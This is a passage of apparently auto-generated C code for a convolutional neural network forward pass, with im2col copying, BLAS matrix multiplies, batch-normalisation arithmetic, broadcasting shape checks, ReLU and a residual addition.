x3161 * 3;\nfor(int x3154=0; x3154 < 64; x3154++) {\nint32_t x3155 = x3154 * x3086;\nfloat* x3156 = x3125+x3155;\nint32_t x3157 = x3154 * x3143;\nfloat* x3158 = x3147+x3157;\nint32_t x3159 = x3154 * x3149;\nfloat* x3160 = x3153+x3159;\nfor(int x3164=0; x3164 < x3162; x3164++) {\nint32_t x3165 = x3164 / 9;\nint32_t x3169 = x3165 * 3;\nint32_t x3170 = x3169 * 3;\nint32_t x3171 = x3170 * x3141;\nint32_t x3172 = x3171 * x3141;\nint32_t x3166 = x3164 % 9;\nint32_t x3167 = x3166 / 3;\nint32_t x3173 = x3167 * 3;\nint32_t x3174 = x3173 * x3141;\nint32_t x3175 = x3174 * x3141;\nint32_t x3176 = x3172 + x3175;\nint32_t x3168 = x3166 % 3;\nint32_t x3177 = x3168 * x3141;\nint32_t x3178 = x3177 * x3141;\nint32_t x3179 = x3176 + x3178;\nfloat* x3180 = x3160+x3179;\nint32_t x3181 = x3165 * x3079;\nint32_t x3182 = x3181 * x3079;\nfloat* x3183 = x3156+x3182;\nint32_t x3196 = 1 - x3168;\nbool x3197 = x3196 > 0;\nint32_t x3198;\nif (x3197) {\nx3198 = x3196;\n} else {\nx3198 = 0;\n}\nint32_t x3199 = 3 - x3168;\nint32_t x3200 = x3199 - 1;\nint32_t x3201 = 1 - x3200;\nbool x3202 = x3201 > 0;\nint32_t x3203;\nif (x3202) {\nx3203 = x3201;\n} else {\nx3203 = 0;\n}\nint32_t x3204 = x3141 - x3203;\nint32_t x3205 = x3204 - x3198;\nbool x3206 = x3205 <= 0;\nbool x3210 = x3198 > 0;\nint32_t x3195 = -1 + x3168;\nbool x3223 = x3203 > 0;\nfor(int x3185=0; x3185 < x3141; x3185++) {\nint32_t x3186 = x3185 - 1;\nint32_t x3187 = x3186 + x3167;\nbool x3188 = x3187 < 0;\nbool x3189 = x3187 >= x3079;\nbool x3190 = x3188 || x3189;\nif (x3190) {\nint32_t x3191 = x3185 * x3141;\nfloat* x3192 = x3180+x3191;\nmemset(x3192, 0, 4 * x3141);;\n} else {\nif (x3206) {\nint32_t x3191 = x3185 * x3141;\nfloat* x3207 = x3180+x3191;\nmemset(x3207, 0, 4 * x3141);;\n} else {\nint32_t x3191 = x3185 * x3141;\nif (x3210) {\nfloat* x3211 = x3180+x3191;\nmemset(x3211, 0, 4 * x3198);;\n} else {\n}\n// may have segfault here\nint32_t x3216 = x3191 + x3198;\nfloat* x3217 = x3180+x3216;\nint32_t x3218 = x3187 * x3079;\nint32_t x3219 = x3218 + x3195;\nint32_t x3220 = x3219 + x3198;\nfloat* x3221 = x3183+x3220;\nmemcpy(x3217, x3221, 4 * x3205);;\nif (x3223) {\nint32_t x3224 = x3191 + x3141;\nint32_t x3225 = x3224 - x3203;\nfloat* x3226 = x3180+x3225;\nmemset(x3226, 0, 4 * x3203);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 64,x3142,x3148,1,x83,x3148,x3160,x3142,1,x3158,x3142);\n\n}\nint32_t x3241 = 0;\nint32_t x3242 = 1;\nx3242 *= 1;\nx3241 += 1;\nx3242 *= 1;\nx3242 *= 1;\nint32_t x3247 = x3241;\nbool x3248 = x3247 >= 2;\nif (x3248) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x3253 = x3247 == 0;\nif (x3253) {\nint32_t x3254 = x3242;\nbool x3255 = x3254 == 64;\nif (x3255) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x3262 = x3242;\nint32_t x3263 = 64 / x3262;\nbool x3264 = x3263 == 1;\nbool x3267;\nif (x454) {\nbool x3265 = 64 == x3263;\nbool x3266 = x3264 || x3265;\nx3267 = x3266;\n} else {\nx3267 = false;\n}\nbool x3271;\nif (x3267) {\nx3271 = x3270;\n} else {\nx3271 = false;\n}\nbool x3272;\nif (x3271) {\nx3272 = x3270;\n} else {\nx3272 = false;\n}\nif (x3272) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,64,x3141,x3141,1,x3263,1,1);\nassert(false && \"\");\n}\nbool x3278 = 64 <= x3263;\nint32_t x3279;\nif (x3278) {\nx3279 = x3263;\n} else {\nx3279 = 64;\n}\nint32_t x3288 = x3279 * x3287;\nint32_t x3289 = 64 * x3288;\nfloat* x3290 = (float*)myMalloc(x3289 * sizeof(float));;\nint32_t x3293;\nif (x3264) {\nx3293 = 0;\n} else {\nx3293 = 1;\n}\nfor(int x3294=0; x3294 < 64; x3294++) {\nint32_t x3306 = x3143 * x3294;\nint32_t x3300 = x3288 * x3294;\nfor(int x3296=0; x3296 < x3279; x3296++) {\nint32_t x3307 = x3142 * x3296;\nint32_t x3308 = x3306 + x3307;\nint32_t x3313 = x3293 * x3296;\nint32_t x3302 = x3287 * x3296;\nfor(int x3298=0; x3298 < x3281; x3298++) {\nint32_t x3309 = x3291 * x3298;\nint32_t x3310 = x3308 + x3309;\nint32_t x3304 = x3281 * x3298;\nfor(int x3299=0; x3299 < x3281; x3299++) {\nint32_t x3311 = x3292 * x3299;\nint32_t x3312 = x3310 + x3311;\nfloat x3314 = x3147[x3312];\nfloat x3315 = x44[x3313];\nint32_t x3301 = x3299 + x3300;\nint32_t x3303 = x3301 + x3302;\nint32_t x3305 = x3303 + x3304;\nfloat x3316 = x3314 - x3315;\nx3290[x3305] = x3316;\n\n}\n\n}\n\n}\n\n}\nfloat* x3326 = (float*)myMalloc(64 * sizeof(float));;\nfor(int x3327=0; x3327 < 64; x3327++) {\nfloat x3328 = x244[x3327];\nfloat x3329 = x3328 + 1.0E-5f;\nx3326[x3327] = x3329;\n\n}\nfloat* x3333 = (float*)myMalloc(64 * sizeof(float));;\nfor(int x3334=0; x3334 < 64; x3334++) {\nfloat x3335 = x3326[x3334];\ndouble x3336 = (double)x3335;\ndouble x3337 = sqrt(x3336);\nfloat x3338 = (float)x3337;\nx3333[x3334] = x3338;\n\n}\nint32_t x3342 = 0;\nint32_t x3343 = 1;\nx3343 *= 1;\nx3342 += 1;\nx3343 *= 1;\nx3343 *= 1;\nint32_t x3348 = x3342;\nbool x3349 = x3348 >= 2;\nif (x3349) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x3354 = x3348 == 0;\nif (x3354) {\nint32_t x3355 = x3343;\nbool x3356 = x3355 == 64;\nif (x3356) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x3363 = x3343;\nbool x3365 = x3279 == 1;\nint32_t x3364 = 64 / x3363;\nbool x3366 = x3364 == 1;\nbool x3370;\nif (x454) {\nbool x3367 = x3365 || x3366;\nbool x3368 = x3279 == x3364;\nbool x3369 = x3367 || x3368;\nx3370 = x3369;\n} else {\nx3370 = false;\n}\nbool x3374;\nif (x3370) {\nx3374 = x3373;\n} else {\nx3374 = false;\n}\nbool x3375;\nif (x3374) {\nx3375 = x3373;\n} else {\nx3375 = false;\n}\nif (x3375) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x3279,x3281,x3281,1,x3364,1,1);\nassert(false && \"\");\n}\nbool x3381 = x3279 <= x3364;\nint32_t x3382;\nif (x3381) {\nx3382 = x3364;\n} else {\nx3382 = x3279;\n}\nint32_t x3391 = x3382 * x3390;\nint32_t x3392 = 64 * x3391;\nfloat* x3393 = (float*)myMalloc(x3392 * sizeof(float));;\nint32_t x3394;\nif (x3365) {\nx3394 = 0;\n} else {\nx3394 = x3287;\n}\nint32_t x3397;\nif (x3366) {\nx3397 = 0;\n} else {\nx3397 = 1;\n}\nfor(int x3398=0; x3398 < 64; x3398++) {\nint32_t x3410 = x3288 * x3398;\nint32_t x3404 = x3391 * x3398;\nfor(int x3400=0; x3400 < x3382; x3400++) {\nint32_t x3411 = x3394 * x3400;\nint32_t x3412 = x3410 + x3411;\nint32_t x3417 = x3397 * x3400;\nint32_t x3406 = x3390 * x3400;\nfor(int x3402=0; x3402 < x3384; x3402++) {\nint32_t x3413 = x3395 * x3402;\nint32_t x3414 = x3412 + x3413;\nint32_t x3408 = x3384 * x3402;\nfor(int x3403=0; x3403 < x3384; x3403++) {\nint32_t x3415 = x3396 * x3403;\nint32_t x3416 = x3414 + x3415;\nfloat x3418 = x3290[x3416];\nfloat x3419 = x3333[x3417];\nint32_t x3405 = x3403 + x3404;\nint32_t x3407 = x3405 + x3406;\nint32_t x3409 = x3407 + x3408;\nfloat x3420 = x3418 / x3419;\nx3393[x3409] = x3420;\n\n}\n\n}\n\n}\n\n}\nint32_t x3430 = 0;\nint32_t x3431 = 1;\nx3431 *= 1;\nx3430 += 1;\nx3431 *= 1;\nx3431 *= 1;\nint32_t x3436 = x3430;\nbool x3437 = x3436 >= 2;\nif (x3437) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x3442 = x3436 == 0;\nif (x3442) {\nint32_t x3443 = x3431;\nbool x3444 = x3443 == 64;\nif (x3444) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x3451 = x3431;\nbool x3453 = x3382 == 1;\nint32_t x3452 = 64 / x3451;\nbool x3454 = x3452 == 1;\nbool x3458;\nif (x454) {\nbool x3455 = x3453 || x3454;\nbool x3456 = x3382 == x3452;\nbool x3457 = x3455 || x3456;\nx3458 = x3457;\n} else {\nx3458 = false;\n}\nbool x3462;\nif (x3458) {\nx3462 = x3461;\n} else {\nx3462 = false;\n}\nbool x3463;\nif (x3462) {\nx3463 = x3461;\n} else {\nx3463 = false;\n}\nif (x3463) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x3382,x3384,x3384,1,x3452,1,1);\nassert(false && \"\");\n}\nbool x3469 = x3382 <= x3452;\nint32_t x3470;\nif (x3469) {\nx3470 = x3452;\n} else {\nx3470 = x3382;\n}\nint32_t x3479 = x3470 * x3478;\nint32_t x3480 = 64 * x3479;\nfloat* x3481 = (float*)myMalloc(x3480 * sizeof(float));;\nint32_t x3482;\nif (x3453) {\nx3482 = 0;\n} else {\nx3482 = x3390;\n}\nint32_t x3485;\nif (x3454) {\nx3485 = 0;\n} else {\nx3485 = 1;\n}\nfor(int x3486=0; x3486 < 64; x3486++) {\nint32_t x3498 = x3391 * x3486;\nint32_t x3492 = x3479 * x3486;\nfor(int x3488=0; x3488 < x3470; x3488++) {\nint32_t x3499 = x3482 * x3488;\nint32_t x3500 = x3498 + x3499;\nint32_t x3505 = x3485 * x3488;\nint32_t x3494 = x3478 * x3488;\nfor(int x3490=0; x3490 < x3472; x3490++) {\nint32_t x3501 = x3483 * x3490;\nint32_t x3502 = x3500 + x3501;\nint32_t x3496 = x3472 * x3490;\nfor(int x3491=0; x3491 < x3472; x3491++) {\nint32_t x3503 = x3484 * x3491;\nint32_t x3504 = x3502 + x3503;\nfloat x3506 = x3393[x3504];\nfloat x3507 = x208[x3505];\nint32_t x3493 = x3491 + x3492;\nint32_t x3495 = x3493 + x3494;\nint32_t x3497 = x3495 + x3496;\nfloat x3508 = x3506 * x3507;\nx3481[x3497] = x3508;\n\n}\n\n}\n\n}\n\n}\nint32_t x3518 = 0;\nint32_t x3519 = 1;\nx3519 *= 1;\nx3518 += 1;\nx3519 *= 1;\nx3519 *= 1;\nint32_t x3524 = x3518;\nbool x3525 = x3524 >= 2;\nif (x3525) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x3530 = x3524 == 0;\nif (x3530) {\nint32_t x3531 = x3519;\nbool x3532 = x3531 == 64;\nif (x3532) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x3539 = x3519;\nbool x3541 = x3470 == 1;\nint32_t x3540 = 64 / x3539;\nbool x3542 = x3540 == 1;\nbool x3546;\nif (x454) {\nbool x3543 = x3541 || x3542;\nbool x3544 = x3470 == x3540;\nbool x3545 = x3543 || x3544;\nx3546 = x3545;\n} else {\nx3546 = false;\n}\nbool x3550;\nif (x3546) {\nx3550 = x3549;\n} else {\nx3550 = false;\n}\nbool x3551;\nif (x3550) {\nx3551 = x3549;\n} else {\nx3551 = false;\n}\nif (x3551) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x3470,x3472,x3472,1,x3540,1,1);\nassert(false && \"\");\n}\nbool x3557 = x3470 <= x3540;\nint32_t x3558;\nif (x3557) {\nx3558 = x3540;\n} else {\nx3558 = x3470;\n}\nint32_t x3567 = x3558 * x3566;\nint32_t x3568 = 64 * x3567;\nfloat* x3569 = (float*)myMalloc(x3568 * sizeof(float));;\nint32_t x3570;\nif (x3541) {\nx3570 = 0;\n} else {\nx3570 = x3478;\n}\nint32_t x3573;\nif (x3542) {\nx3573 = 0;\n} else {\nx3573 = 1;\n}\nfor(int x3574=0; x3574 < 64; x3574++) {\nint32_t x3586 = x3479 * x3574;\nint32_t x3580 = x3567 * x3574;\nfor(int x3576=0; x3576 < x3558; x3576++) {\nint32_t x3587 = x3570 * x3576;\nint32_t x3588 = x3586 + x3587;\nint32_t x3593 = x3573 * x3576;\nint32_t x3582 = x3566 * x3576;\nfor(int x3578=0; x3578 < x3560; x3578++) {\nint32_t x3589 = x3571 * x3578;\nint32_t x3590 = x3588 + x3589;\nint32_t x3584 = x3560 * x3578;\nfor(int x3579=0; x3579 < x3560; x3579++) {\nint32_t x3591 = x3572 * x3579;\nint32_t x3592 = x3590 + x3591;\nfloat x3594 = x3481[x3592];\nfloat x3595 = x153[x3593];\nint32_t x3581 = x3579 + x3580;\nint32_t x3583 = x3581 + x3582;\nint32_t x3585 = x3583 + x3584;\nfloat x3596 = x3594 + x3595;\nx3569[x3585] = x3596;\n\n}\n\n}\n\n}\n\n}\nfloat* x3606 = (float*)myMalloc(x3568 * sizeof(float));;\nfor(int x3608=0; x3608 < x3568; x3608++) {\nfloat x3609 = x3569[x3608];\nbool x3610 = x3609 < 0.0f;\nif (x3610) {\nx3606[x3608] = 0.0f;\n} else {\nfloat x3613 = x3569[x3608];\nx3606[x3608] = x3613;\n}\n\n}\nfloat* x3627 = (float*)myMalloc(x3626 * sizeof(float));;\nint32_t x3630 = 64 * x3558;\nint32_t x3631 = x3630 * x3622;\nfloat* x3632 = (float*)myMalloc(x3631 * sizeof(float));;\nint32_t x3628 = x3558 * x3622;\nfor(int x3633=0; x3633 < 64; x3633++) {\nint32_t x3634 = x3633 * x3567;\nfloat* x3635 = x3606+x3634;\nint32_t x3636 = x3633 * x3623;\nfloat* x3637 = x3627+x3636;\nint32_t x3638 = x3633 * x3628;\nfloat* x3639 = x3632+x3638;\nfor(int x3640=0; x3640 < x3558; x3640++) {\nint32_t x3641 = x3640 / 1;\nint32_t x3645 = x3641 * x3621;\nint32_t x3646 = x3645 * x3621;\nint32_t x3642 = x3640 % 1;\nint32_t x3643 = x3642 / 1;\nint32_t x3647 = x3643 * x3621;\nint32_t x3648 = x3647 * x3621;\nint32_t x3649 = x3646 + x3648;\nint32_t x3644 = x3642 % 1;\nint32_t x3650 = x3644 * x3621;\nint32_t x3651 = x3650 * x3621;\nint32_t x3652 = x3649 + x3651;\nfloat* x3653 = x3639+x3652;\nint32_t x3654 = x3641 * x3560;\nint32_t x3655 = x3654 * x3560;\nfloat* x3656 = x3635+x3655;\nfor(int x3658=0; x3658 < x3621; x3658++) {\nint32_t x3660 = x3658 * x3621;\nfloat* x3661 = x3653+x3660;\nint32_t x3659 = x3658 + x3643;\nint32_t x3662 = x3659 * x3560;\nint32_t x3663 = x3662 + x3644;\nfloat* x3664 = x3656+x3663;\nmemcpy(x3661, x3664, 4 * x3621);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x3622,x3558,1,x130,x3558,x3639,x3622,1,x3637,x3622);\n\n}\nint32_t x3673 = 0;\nint32_t x3674 = 1;\nx3674 *= 1;\nx3673 += 1;\nx3674 *= 1;\nx3674 *= 1;\nint32_t x3679 = x3673;\nbool x3680 = x3679 >= 2;\nif (x3680) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x3685 = x3679 == 0;\nif (x3685) {\nint32_t x3686 = x3674;\nbool x3687 = x3686 == 256;\nif (x3687) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x3694 = x3674;\nint32_t x3695 = 256 / x3694;\nbool x3696 = x3695 == 1;\nbool x3699;\nif (x454) {\nbool x3697 = 256 == x3695;\nbool x3698 = x3696 || x3697;\nx3699 = x3698;\n} else {\nx3699 = false;\n}\nbool x3703;\nif (x3699) {\nx3703 = x3702;\n} else {\nx3703 = false;\n}\nbool x3704;\nif (x3703) {\nx3704 = x3702;\n} else {\nx3704 = false;\n}\nif (x3704) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,256,x3621,x3621,1,x3695,1,1);\nassert(false && \"\");\n}\nbool x3710 = 256 <= x3695;\nint32_t x3711;\nif (x3710) {\nx3711 = x3695;\n} else {\nx3711 = 256;\n}\nint32_t x3720 = x3711 * x3719;\nint32_t x3721 = 64 * x3720;\nfloat* x3722 = (float*)myMalloc(x3721 * sizeof(float));;\nint32_t x3725;\nif (x3696) {\nx3725 = 0;\n} else {\nx3725 = 1;\n}\nfor(int x3726=0; x3726 < 64; x3726++) {\nint32_t x3738 = x3623 * x3726;\nint32_t x3732 = x3720 * x3726;\nfor(int x3728=0; x3728 < x3711; x3728++) {\nint32_t x3739 = x3622 * x3728;\nint32_t x3740 = x3738 + x3739;\nint32_t x3745 = x3725 * x3728;\nint32_t x3734 = x3719 * x3728;\nfor(int x3730=0; x3730 < x3713; x3730++) {\nint32_t x3741 = x3723 * x3730;\nint32_t x3742 = x3740 + x3741;\nint32_t x3736 = x3713 * x3730;\nfor(int x3731=0; x3731 < x3713; x3731++) {\nint32_t x3743 = x3724 * x3731;\nint32_t x3744 = x3742 + x3743;\nfloat x3746 = x3627[x3744];\nfloat x3747 = x91[x3745];\nint32_t x3733 = x3731 + x3732;\nint32_t x3735 = x3733 + x3734;\nint32_t x3737 = x3735 + x3736;\nfloat x3748 = x3746 - x3747;\nx3722[x3737] = x3748;\n\n}\n\n}\n\n}\n\n}\nfloat* x3758 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x3759=0; x3759 < 256; x3759++) {\nfloat x3760 = x166[x3759];\nfloat x3761 = x3760 + 1.0E-5f;\nx3758[x3759] = x3761;\n\n}\nfloat* x3765 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x3766=0; x3766 < 256; x3766++) {\nfloat x3767 = x3758[x3766];\ndouble x3768 = (double)x3767;\ndouble x3769 = sqrt(x3768);\nfloat x3770 = (float)x3769;\nx3765[x3766] = x3770;\n\n}\nint32_t x3774 = 0;\nint32_t x3775 = 1;\nx3775 *= 1;\nx3774 += 1;\nx3775 *= 1;\nx3775 *= 1;\nint32_t x3780 = x3774;\nbool x3781 = x3780 >= 2;\nif (x3781) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x3786 = x3780 == 0;\nif (x3786) {\nint32_t x3787 = x3775;\nbool x3788 = x3787 == 256;\nif (x3788) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x3795 = x3775;\nbool x3797 = x3711 == 1;\nint32_t x3796 = 256 / x3795;\nbool x3798 = x3796 == 1;\nbool x3802;\nif (x454) {\nbool x3799 = x3797 || x3798;\nbool x3800 = x3711 == x3796;\nbool x3801 = x3799 || x3800;\nx3802 = x3801;\n} else {\nx3802 = false;\n}\nbool x3806;\nif (x3802) {\nx3806 = x3805;\n} else {\nx3806 = false;\n}\nbool x3807;\nif (x3806) {\nx3807 = x3805;\n} else {\nx3807 = false;\n}\nif (x3807) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x3711,x3713,x3713,1,x3796,1,1);\nassert(false && \"\");\n}\nbool x3813 = x3711 <= x3796;\nint32_t x3814;\nif (x3813) {\nx3814 = x3796;\n} else {\nx3814 = x3711;\n}\nint32_t x3823 = x3814 * x3822;\nint32_t x3824 = 64 * x3823;\nfloat* x3825 = (float*)myMalloc(x3824 * sizeof(float));;\nint32_t x3826;\nif (x3797) {\nx3826 = 0;\n} else {\nx3826 = x3719;\n}\nint32_t x3829;\nif (x3798) {\nx3829 = 0;\n} else {\nx3829 = 1;\n}\nfor(int x3830=0; x3830 < 64; x3830++) {\nint32_t x3842 = x3720 * x3830;\nint32_t x3836 = x3823 * x3830;\nfor(int x3832=0; x3832 < x3814; x3832++) {\nint32_t x3843 = x3826 * x3832;\nint32_t x3844 = x3842 + x3843;\nint32_t x3849 = x3829 * x3832;\nint32_t x3838 = x3822 * x3832;\nfor(int x3834=0; x3834 < x3816; x3834++) {\nint32_t x3845 = x3827 * x3834;\nint32_t x3846 = x3844 + x3845;\nint32_t x3840 = x3816 * x3834;\nfor(int x3835=0; x3835 < x3816; x3835++) {\nint32_t x3847 = x3828 * x3835;\nint32_t x3848 = x3846 + x3847;\nfloat x3850 = x3722[x3848];\nfloat x3851 = x3765[x3849];\nint32_t x3837 = x3835 + x3836;\nint32_t x3839 = x3837 + x3838;\nint32_t x3841 = x3839 + x3840;\nfloat x3852 = x3850 / x3851;\nx3825[x3841] = x3852;\n\n}\n\n}\n\n}\n\n}\nint32_t x3862 = 0;\nint32_t x3863 = 1;\nx3863 *= 1;\nx3862 += 1;\nx3863 *= 1;\nx3863 *= 1;\nint32_t x3868 = x3862;\nbool x3869 = x3868 >= 2;\nif (x3869) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x3874 = x3868 == 0;\nif (x3874) {\nint32_t x3875 = x3863;\nbool x3876 = x3875 == 256;\nif (x3876) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x3883 = x3863;\nbool x3885 = x3814 == 1;\nint32_t x3884 = 256 / x3883;\nbool x3886 = x3884 == 1;\nbool x3890;\nif (x454) {\nbool x3887 = x3885 || x3886;\nbool x3888 = x3814 == x3884;\nbool x3889 = x3887 || x3888;\nx3890 = x3889;\n} else {\nx3890 = false;\n}\nbool x3894;\nif (x3890) {\nx3894 = x3893;\n} else {\nx3894 = false;\n}\nbool x3895;\nif (x3894) {\nx3895 = x3893;\n} else {\nx3895 = false;\n}\nif (x3895) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x3814,x3816,x3816,1,x3884,1,1);\nassert(false && \"\");\n}\nbool x3901 = x3814 <= x3884;\nint32_t x3902;\nif (x3901) {\nx3902 = x3884;\n} else {\nx3902 = x3814;\n}\nint32_t x3911 = x3902 * x3910;\nint32_t x3912 = 64 * x3911;\nfloat* x3913 = (float*)myMalloc(x3912 * sizeof(float));;\nint32_t x3914;\nif (x3885) {\nx3914 = 0;\n} else {\nx3914 = x3822;\n}\nint32_t x3917;\nif (x3886) {\nx3917 = 0;\n} else {\nx3917 = 1;\n}\nfor(int x3918=0; x3918 < 64; x3918++) {\nint32_t x3930 = x3823 * x3918;\nint32_t x3924 = x3911 * x3918;\nfor(int x3920=0; x3920 < x3902; x3920++) {\nint32_t x3931 = x3914 * x3920;\nint32_t x3932 = x3930 + x3931;\nint32_t x3937 = x3917 * x3920;\nint32_t x3926 = x3910 * x3920;\nfor(int x3922=0; x3922 < x3904; x3922++) {\nint32_t x3933 = x3915 * x3922;\nint32_t x3934 = x3932 + x3933;\nint32_t x3928 = x3904 * x3922;\nfor(int x3923=0; x3923 < x3904; x3923++) {\nint32_t x3935 = x3916 * x3923;\nint32_t x3936 = x3934 + x3935;\nfloat x3938 = x3825[x3936];\nfloat x3939 = x58[x3937];\nint32_t x3925 = x3923 + x3924;\nint32_t x3927 = x3925 + x3926;\nint32_t x3929 = x3927 + x3928;\nfloat x3940 = x3938 * x3939;\nx3913[x3929] = x3940;\n\n}\n\n}\n\n}\n\n}\nint32_t x3950 = 0;\nint32_t x3951 = 1;\nx3951 *= 1;\nx3950 += 1;\nx3951 *= 1;\nx3951 *= 1;\nint32_t x3956 = x3950;\nbool x3957 = x3956 >= 2;\nif (x3957) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x3962 = x3956 == 0;\nif (x3962) {\nint32_t x3963 = x3951;\nbool x3964 = x3963 == 256;\nif (x3964) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x3971 = x3951;\nbool x3973 = x3902 == 1;\nint32_t x3972 = 256 / x3971;\nbool x3974 = x3972 == 1;\nbool x3978;\nif (x454) {\nbool x3975 = x3973 || x3974;\nbool x3976 = x3902 == x3972;\nbool x3977 = x3975 || x3976;\nx3978 = x3977;\n} else {\nx3978 = false;\n}\nbool x3982;\nif (x3978) {\nx3982 = x3981;\n} else {\nx3982 = false;\n}\nbool x3983;\nif (x3982) {\nx3983 = x3981;\n} else {\nx3983 = false;\n}\nif (x3983) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x3902,x3904,x3904,1,x3972,1,1);\nassert(false && \"\");\n}\nbool x3989 = x3902 <= x3972;\nint32_t x3990;\nif (x3989) {\nx3990 = x3972;\n} else {\nx3990 = x3902;\n}\nint32_t x3999 = x3990 * x3998;\nint32_t x4000 = 64 * x3999;\nfloat* x4001 = (float*)myMalloc(x4000 * sizeof(float));;\nint32_t x4002;\nif (x3973) {\nx4002 = 0;\n} else {\nx4002 = x3910;\n}\nint32_t x4005;\nif (x3974) {\nx4005 = 0;\n} else {\nx4005 = 1;\n}\nfor(int x4006=0; x4006 < 64; x4006++) {\nint32_t x4018 = x3911 * x4006;\nint32_t x4012 = x3999 * x4006;\nfor(int x4008=0; x4008 < x3990; x4008++) {\nint32_t x4019 = x4002 * x4008;\nint32_t x4020 = x4018 + x4019;\nint32_t x4025 = x4005 * x4008;\nint32_t x4014 = x3998 * x4008;\nfor(int x4010=0; x4010 < x3992; x4010++) {\nint32_t x4021 = x4003 * x4010;\nint32_t x4022 = x4020 + x4021;\nint32_t x4016 = x3992 * x4010;\nfor(int x4011=0; x4011 < x3992; x4011++) {\nint32_t x4023 = x4004 * x4011;\nint32_t x4024 = x4022 + x4023;\nfloat x4026 = x3913[x4024];\nfloat x4027 = x7[x4025];\nint32_t x4013 = x4011 + x4012;\nint32_t x4015 = x4013 + x4014;\nint32_t x4017 = x4015 + x4016;\nfloat x4028 = x4026 + x4027;\nx4001[x4017] = x4028;\n\n}\n\n}\n\n}\n\n}\nbool x4038 = x3990 == 1;\nbool x4039 = x4038 || x2621;\nbool x4040 = x3990 == x2203;\nbool x4041 = x4039 || x4040;\nbool x4046;\nif (x4041) {\nx4046 = x4045;\n} else {\nx4046 = false;\n}\nbool x4047;\nif (x4046) {\nx4047 = x4045;\n} else {\nx4047 = false;\n}\nif (x4047) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x3990,x3992,x3992,64,x2203,x2205,x2205);\nassert(false && \"\");\n}\nbool x4053 = x3990 <= x2203;\nint32_t x4054;\nif (x4053) {\nx4054 = x2203;\n} else {\nx4054 = x3990;\n}\nint32_t x4070;\nif (x4038) {\nx4070 = 0;\n} else {\nx4070 = x3998;\n}\nfor(int x4073=0; x4073 < 64; x4073++) {\nint32_t x4079 = x3999 * x4073;\nint32_t x4086 = x2212 * x4073;\nfor(int x4075=0; x4075 < x4054; x4075++) {\nint32_t x4080 = x4070 * x4075;\nint32_t x4081 = x4079 + x4080;\nint32_t x4087 = x2655 * x4075;\nint32_t x4088 = x4086 + x4087;\nfor(int x4077=0; x4077 < x4056; x4077++) {\nint32_t x4082 = x4071 * x4077;\nint32_t x4083 = x4081 + x4082;\nint32_t x4089 = x2656 * x4077;\nint32_t x4090 = x4088 + x4089;\nfor(int x4078=0; x4078 < x4056; x4078++) {\nint32_t x4084 = x4072 * x4078;\nint32_t x4085 = x4083 + x4084;\nfloat x4093 = x4001[x4085];\nint32_t x4091 = x2657 * x4078;\nint32_t x4092 = x4090 + x4091;\nfloat x4094 = x2693[x4092];\nfloat x4095 = x4093 + x4094;\nx4001[x4085] = x4095;\n\n}\n\n}\n\n}\n\n}\nfloat* x4105 = (float*)myMalloc(x4000 * sizeof(float));;\nfor(int x4107=0; x4107 < x4000; x4107++) {\nfloat x4108 = x4001[x4107];\nbool x4109 = x4108 < 0.0f;\nif (x4109) {\nx4105[x4107] = 0.0f;\n} else {\nfloat x4112 = x4001[x4107];\nx4105[x4107] = x4112;\n}\n\n}\nfloat* x4126 = (float*)myMalloc(x4125 * sizeof(float));;\nint32_t x4129 = 64 * x3990;\nint32_t x4130 = x4129 * x4121;\nfloat* x4131 = (float*)myMalloc(x4130 * sizeof(float));;\nint32_t x4127 = x3990 * x4121;\nfor(int x4132=0; x4132 < 64; x4132++) {\nint32_t x4133 = x4132 * x3999;\nfloat* x4134 = x4105+x4133;\nint32_t x4135 = x4132 * x4122;\nfloat* x4136 = x4126+x4135;\nint32_t x4137 = x4132 * x4127;\nfloat* x4138 = x4131+x4137;\nfor(int x4139=0; x4139 < x3990; x4139++) {\nint32_t x4140 = x4139 / 1;\nint32_t x4144 = x4140 * 